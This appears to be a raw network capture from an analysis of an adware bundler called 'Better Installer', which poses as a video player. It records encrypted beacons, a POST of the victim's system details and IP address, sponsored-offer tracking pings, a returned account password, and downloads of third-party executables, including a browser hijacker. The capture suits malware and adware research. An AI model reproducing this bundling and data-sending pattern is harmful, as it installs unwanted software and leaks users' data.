Host: up.soft365.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:15 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

Content-Encoding: gzip

14........................0..

GET /app/ping.ashx?e=/k6kR j50trdzuE9Nz05xfoywfXhr77b0oMOQ2TsHtiRoZJTpqsyZxASc9FSZWyoGYsEX4kIHlu/0mFZouDnPiqbL3WeaiLbbOP3GaNYEyTVAezdf3aKUfc/boITtVwp1P9gDFCZ6VapvGDt BB/ci1dbz JN6x9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj1T8UqV0B 4fqL9qhe/rNusYKT8bBfz5d NtU wuJMpTDG7KgaWci8oBSr28YVyfPg8SfsOq8sVv HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:43 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3n lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGIRZ1/hnxglElWZK2fQmsSQC hDpiFno9PeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm SzJtLg64wtyn9/rMZVqDBTEzAJiBY4c3UQbqpMFV8geBEGexEmKH9nyM8MCRSz4SmrvcVl0Mf/w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:43 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3le0nRya1/ySF9YSP9ZGURrtfjqskcj0tJCYY2sAkrWlVOxIC gR9ITZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ6vDtE6jRZ3qvsUl7h5mV4z6i slsoGBMB6SEWAN/WtsF9QGpXbnENCn qX4FpTdffopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:43 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=obiBp3WOda9tb/LgACKPGtPoRc85Bdu1HtQ8g58Z64f7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqp8Pk9jtfSr7GKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDq8O0TqNFneq xSXuHmZXjPqL76yWygYEwHpIRYA39a2wX1AalducQ Lmf6eHphUt9 inPTLZDtg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:43 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=obiBp3WOda9tb/LgACKPGtPoRc85Bdu1HtQ8g58Z64f7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqro4IQ3JJ/8YLfpaYcwUXjumytkOxhhp1idvNRLeb/tYKSSyzds/hZ8AogVCnBq01 p7zotpWR2XjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV4TNSM5wMWNRg8 LdmjV KAMTwC1GHZcjnyUzwl0yV3mKs4wGey2R6ONuXgfT2 BXMAeXrDcfXn1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:44 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=AZwPyJy3TZiu PbZ6jHEZh0R8FZu6GaDdoDtkaq/39zZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWcSwZ6/LEwZLF1wG7O/OQ7XscS/rum0dyUP gGlRflyueXXE4oNm6FesaKJdZjPc2 CsHVVmHwIyxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoGrMpnxa6GDS1MLSuKCsuLN/hx03Dxo5hagrJighumfZRGbKC1zvqWqKNxr/pz/MJmAZSpRiXLg4A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:44 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=/k6kR j50tqrESd40BFHqcxFQhk7Y4nTL/1dS KcnSIicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L1KaGmSCdQV059EKfMUqh4GpiLqOa3x6axZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnYn7lYe7mMbU9PclnbsNSKOOsIkIhg5fMBF1cEPUlJ4JqWSC7 m/jKwODVeEYVPS89/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:44 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 18 Apr 20
15 07:35:44 GMT..Content-Length: 0......

GET /app/ping.ashx?e=hNMAVKhukrzd/jwMCMorqtPoRc85Bdu1X5t0ccytewz7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqiTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvXVZ Zort0Xz3M2Ge/ KBdjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLytZDXSYpq/nUDxJ w6ryxW8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:46 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=2fVCHF6kf8gqMrckuXQYBDiw95hgje5ZDg7jkQr72VISZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6ld5/ihk02ukUqgUMBNjGcDJgKkdlz1lRofUDr3 uV4Ko6jA0ovCT514E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQv6YGHB3T/Jm1E0CX5ajlwGlDUJZW3E3DOjB5waydGzYNGzxO3tvqEyQBdImr5T91HySmeDQikgk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:46 GMT

Content-Length: 0

GET /videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:34:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.6..<.w..:qH.Z.tw(....m....Nz$E...$$.2Iy.....
Z~W.{.s......NOg.-.(T.j9u...........1ZN........q....{.t.7.Q<_..(.\.
6....E2..........r.,~.........Y#j\].......V6],..8..Je.-yw.}..z.ts..O7g
.MS.....O{......F.x.H....l:\|. ..t...w.f..i2J...|..<[........_.g.x.
.O..b.u.^N..W.&sw......0......._..$.x:...."..........C<OO...a......
{.x........o...t..u..}v..f.Et.,......m.~.....t...g.<..'..1..S....v.
l`>.t....>..]..sE^...{.....<.a.......t..d....)ZLf.I:.....~f.Y
./.0...}l.....4.....-p1.....i/..^...[.>.g.....l>..Yr:...".......
....O'.b..[|.....6....e.....=].....z..=\.S....o...3wL3..C.iq.M..e.....
.G.w..b...e......l..x..alS<.....j....t0./......x..O...t9.........|t
..t_f.r...>f.>...T....}[email protected].. .a.2....).{.
.w9....0t.mcv>.........M......|.....,...s,.N.....7...M.........C...
.N.......u...O...'....{?...w./..H.v.Q.O../8Z...........'.......p6.R.s.
....@.,..wC..i<.....;_W....wjk.E... ....._^|...~...~....~..........
~/VV>}n.8.{_..{..[?[\.{_1.R..{o...{...S..7......y. ...W..;_..9.w..{
..~...u..{...........n..!.2../.#,..^.&`x.......b.........Qy..,..s....E
*7....)N..<.....s...]e....u.......{.I....u.^.(3...i.m.J....R.......
..........S...q.....<]^..W....{....'.5...............^o]..$...Ie.f.
...~......y...hg?..l...p9.o...U6h...(J[....}.O...(......e..q_.7..>.
\....[.:...l....Q.....f/.[.ar9.c....a..........a.4...M..V]K.....8\....
....x...`..I.VD#.....og.....m..././.. s.spa[...6!..=...3.,XU^.....Q...
\N..[Y.f......'.......E.(J.A..\...Yx......C.@`...g.u5.X...xw.-.\`.<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 2723

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=607deb71d8f3494f867a2b514a49c4e9&uid=607deb71d8f3494f867a2b514a49c4e9&affid=videoplayer&sid=videoplayer&cli_id=&softwareName=Video Player&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTgw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=c79cbff04c6a1d31f79e54f0a20d5b14&tokyo_csrf_timestamp=1429342471&unique_id=5423049c0be0b64dd47e76f4552912c0&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT87OhWgAK
HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:34:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
e5e.............\mo.... ..m_.'..$...io..w. .n.0..-.6odQW...E..}.I....q
...m.!2...............2^,..w..2..| ....6<M9....Tp-..K..No./.....&..
..e...g.H............9/D........B..*.....g.......d...a.ll..q,r....(f..
..|R.1...Y.....G....*..K.a.a....9G=..z..o.{.....WS...<...D...X&.\..
,Q.,U<ay.F..u..b.vp....ap...c......bZ........f.TQ...z.08....H'fmi..
8.k.........u.3V.1.f.J.Fe.."......M./e...y.0..R[.%..f.....G...`......B
.3....MF.?...C3....D.M{z.W...........^..R?.......4VO..X.3..>a..5s..
#.s........f[>...BhMf..~h.a.i:.p8.`.....0XL.KU....&.....|*Shf.*.}b.
U..T..WX..}.c5..H.h.....b..;.*..-d.l$......E. ..Qhl..7..x....k........
#.. Y!H..C.vh...$.m..LC.Gjw...e.....V..eemv...:....jM..8.a.g.K....X...
..,.#.\..c.d...4....BB.RO....0....-...'..%...t.......M...........14...
.p4......Sn.D.] ......B.x......yc\..E.wSc....p?.)...?T&/...h......|.p.
.'....R....."......7..%.#-..z....Mx.G.......l.....wv(.z....U.#..i..C..
....Z....H"...c.j..U.".....Y...,.9.S~%.M.&.....=.. m.x*.K;.....3F.A..w
..^......BL..g^..z.W<-Ed.[....@..........~......O...R.......S...ID.
~?...H).\Ft.,.&.... ..{.9..Xh.y....................-?.i.n.z...y...v:..
.;}..B.P..^;.@........."...yM....=/[email protected].*...[k.}.3v..&l
t;c7...y...O...gu....G.?.%.OU&`[email protected]...?j..l'!......
..()`...h.-.$ud/]....i...........0....R.........k.r..w.....[...w......
..#r.99wm.)..[8....6.lp2* .......\..........-....]-p.^$<...f0..G..V
....[T.......q....Z1.-.m..|>.Ld...|#9.8......(%..r...v4XW.=.d......
I...-.s.5.'....~-n....X.....h...z.C...nx....&4.pe...k.-/.k.W....L.<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.4506643702714991 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:34:33 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:34:33 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=1&index_in_screen=1&index_in_session=1&0.8929203837719888 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:34:43 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:34:43 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=swiftrecord&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.8556611988204599 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:34:43 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:34:43 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 98

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=vh3c4yyc30gmbcnaspwwgpn2; path=/; HttpOnly

Date: Sat, 18 Apr 2015 07:35:42 GMT

Connection: close
<RESULT>.<USER>.<ID>0bab2a10-0a3c-4ff7-bea3-06b29829
4831</ID>.<PW>t4GCMrk5</PW>.</USER>.</RESUL
T>...

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 671328

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-671327/671328
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]......."....
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..<<< skipped >>>

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=17211594-

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:39 GMT

Content-Type: application/octet-stream

Content-Length: 5737196

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 17211594-22948789/22948790
..t...?........p.... .(3L ].....,......^....'...UM...*.;...).(.;..;...
..4.Sl.?..\o..F.]6..c..4.B....}.).&}Bn.....RhL..;S.......\9P.......w..
|E.S......f......y`.".........^>M)..`1......8......*.{p..5B....`'..
O......."E..#kP..!..zu......T.?l...O.`Jy2WM...-.GAv..n^r....}...x.Y.".
5....J.f...>........e.."P..,"....1:.JM..pM.9L.....FV0.Dt.<.!..Eg
.......=.C]..)[email protected].;..T>.......M`..*AN....6.w........8.
...4...e...!H.1..p.........au.Ol.zP...g.@$;2l.#|...:..4lG......7. ....
.vX.-[J.D..CB....urP.P$b.j9P.b..A|_..m.[..'..2...]V2...pE}x;......}...
.G......b.....?E.....#b5y!........"..=&x..4....y......E.QL.g...b0nr(.U
}..~.)..V.......A.i...X..}.....y .....C....u.%..V.G..v.H..8X!.w.....\.
.'....1.i....%.1JK.U..}..u.,]...).i..B.W..[b..E......Y..../....^.".{c.
y..L.b.~.X.{.b,.0.W}..........1..I.<..Q1........G......^A..%D.@'..j
R*.d.Z:6..&......H... .....Fxw...... .D.'..J8.h.c........4..S..,83'.o.
4_...l.;!..e.~......w.k..r?&,.K....W..rc..0.qJ..n.......5/RH...7LF.w.7
:#:.x......)[email protected]~..2B.^K.D...4...Zyv..
I.\gL....M..Qe:..v.....H.g.....8..........Q.-\. .q...P....HC...1.]....
...;....6?b..*..T..............Q.NxE./.../ ..1^..L.f..}..s.VNL....Sm..
wi......*V"..s....j...l.......%J.5.w.t!.~.1q0.!Y%....Xm|U..4/.h..d.fW.
y.o..(2.l...c.3<:t....*.$...$S{......x;....>.u........|..D0.....
....R6.Eu.u.2......3....i...TW^[email protected].........
...l.}j...,..u2C.g..F'....g}..U.PT....Y....#(.....B.o..?....h...'...`z
....>.}[email protected]&..a..6..A...E.{..w<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 6b801ac10f082be347f745a20d39b611.cloudfront.net (CloudFront)

X-Amz-Cf-Id: u4nQvr9pFKwDtF8McYWHz85rxZjPaZfR0TRzuQ4qPV1OzxdCeUu0Bw==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&0.7346496220086862 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:35:08 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:35:08 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 523280

Cache-Control: private, max-age=86400

Expires: Sun, 19 Apr 2015 07:34:34 GMT

Date: Sat, 18 Apr 2015 07:34:34 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
.................. ...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
